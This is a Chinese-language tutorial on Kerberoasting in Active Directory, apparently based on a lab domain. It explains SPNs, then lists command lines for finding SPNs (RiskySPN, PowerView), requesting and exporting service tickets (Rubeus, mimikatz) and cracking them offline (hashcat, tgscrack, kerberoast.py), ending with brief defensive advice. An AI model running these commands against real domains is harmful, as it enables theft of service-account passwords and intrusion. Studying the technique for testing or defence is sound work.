# SPN
服务主体名称(Service Principal Name,简称 SPN)是服务实例的唯一标识符 Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。这样,即使客户端没有帐户名称,客户端应用程序也能请求帐户的服务身份验证如果在计算机的整个目录林上安装多个服务实例,那么每个实例都必须有自己的 SPN
就是服务实例注册到域控中的一个标识,域控用 SPN 来表示是那个服务,一个账户可以有多个 SPN 但是一个 SPN 只能有一个账户
SPN 有两种,一是注册在 AD 上机器帐户 (Computers) 下,另一种注册在域用户帐户 (Users) 下。
当一个服务的权限为 Local System 或 Network Service,则 SPN 注册在机器帐户 (Computers) 下。
当一个服务的权限为一个域用户,则 SPN 注册在域用户帐户 (Users) 下。
setspn -X 查询重复的SPN
setspn -Q */* 查看当前域内所有的SPN
setspn -T yunyi.io -Q */* 查看指定域内所有的SPN
setspn -D MSSQLvc/12server4.yunyi.io:1433 sqladmin 删除spn
setspn -A MSSQLvc/12server4.yunyi.io:1433 sqladmin 注册一个spn,在12server上为sqladmin用户注册SPN服务
MSSQLvc/12server4.yunyi.io:1433是你要注册的SPN 1433是服务端口,sqladmin是启动SQL Server实例服务的帐户的名称
# Kerberosast
Kerberosast 攻击利用了 TGS_REP 阶段在这个阶段 TGS 返回的 ST 是由服务账户 hash 加密的,我们获取到 ST 后如果服务账号密码简单
并且使用 RC4-HMAC_MD5 加密因为这个加密比较容易爆破,我们就可以对 ST 穷举获取到服务账号的明文密码
利用的过程为:
第一步找到 SPN 服务
第二步请求指定 SPN 的 ST 票据
第四步导出 ST
第五步爆破
# 发现 SPN
# RiskySPN
这款工具可以发现弱密码易受攻击的 SPN,自动去除 krbtgt 用户的 SPN 服务因为这个用户因为当前用户密码是随机的不固定的 128 位字符不可能爆破出来
Import-Module .\RiskySPNs.psm1 | |
Find-PotentiallyCrackableAccounts 搜索脆弱Spn找到脆弱的帐户 | |
Export-PotentiallyCrackableAccounts 产生全deatiled报告有关脆弱的帐户 |


# kerberoast-GetUserSPNs
kerberoast 工具集中的 GetUserSPNs.psl 和 GetUserSPNs.vbs 用于检测域中的 SPN
Import-Module .\GetUserSPNs.ps1 | |
cscript .\GetUserSPNs.vbs |


# PowerView
PowerSpolit 中的 PowerView.psl 脚本
Import-Module .\PowerView.ps1 | |
Get-NetUser -SPN |

# 请求 SPN
查询过滤完就该去请求有价值的 SPN 了
# Rubeus 请求 spn
Rubeus.exe kerberoast请求注册域用户下所有SPN
Rubeus.exe kerberoast /format:john /outfile:hash.txt 请求后输出成hash
Rubeus.exe kerberoast /spn:MSSQLSvc/12servser4.yunyi.io:1433 /format:john /outfile:hash2.txt 请求指定的spn并输出



# mimikatz 请求票据
kerberos::ask /target:MSSQLSvc/12servser4.yunyi.io:1433

# PowerShell 命令请求
Add-Type -AssemblyName System.IdentityModel 请求服务票据 | |
klist列出服务票据 |

# 导出票据
# mimikatz 导出

Rubeus 导出
Rubeus.exe kerberoast /format:john /outfile:hash.txt 请求后输出成has

# 破解票据
# hashcat 破解
将刚才 Rubeus 导出的 hash 拿到本地进行离线爆破
hashcat -m 13100 hash.txt pass.txt --force
hashcat hash.txt --show

# tgscrack
先用 extractServiceTicketParts.py 脚本对 mimikatz 导出来的票据进行转换
python2 extractServiceTicketParts.py MSSQLSvc\~12servser4.yunyi.io\~1433-YUNYI.IO.kirbi > hash2.txt

接着用 tgscrack.go 破解
go run tgscrack.go -hashfile hash2.txt -wordlist pass.txt

# kerberoast.py
kerberoast 工具集里的脚本
https://github.com/nidem/kerberoast/blob/master/kerberoast.py
python2 kerberoast.py pass.txt MSSQLSvc\~12servser4.yunyi.io\~1433-YUNYI.IO.kirbi
# Kerberosast 防御
设置高强度密码定期修改密码
尽可能不要使用 RC4_HMAC 加密使用更安全的 AES256_HMAC 加密
给服务账号的权限尽量不要太高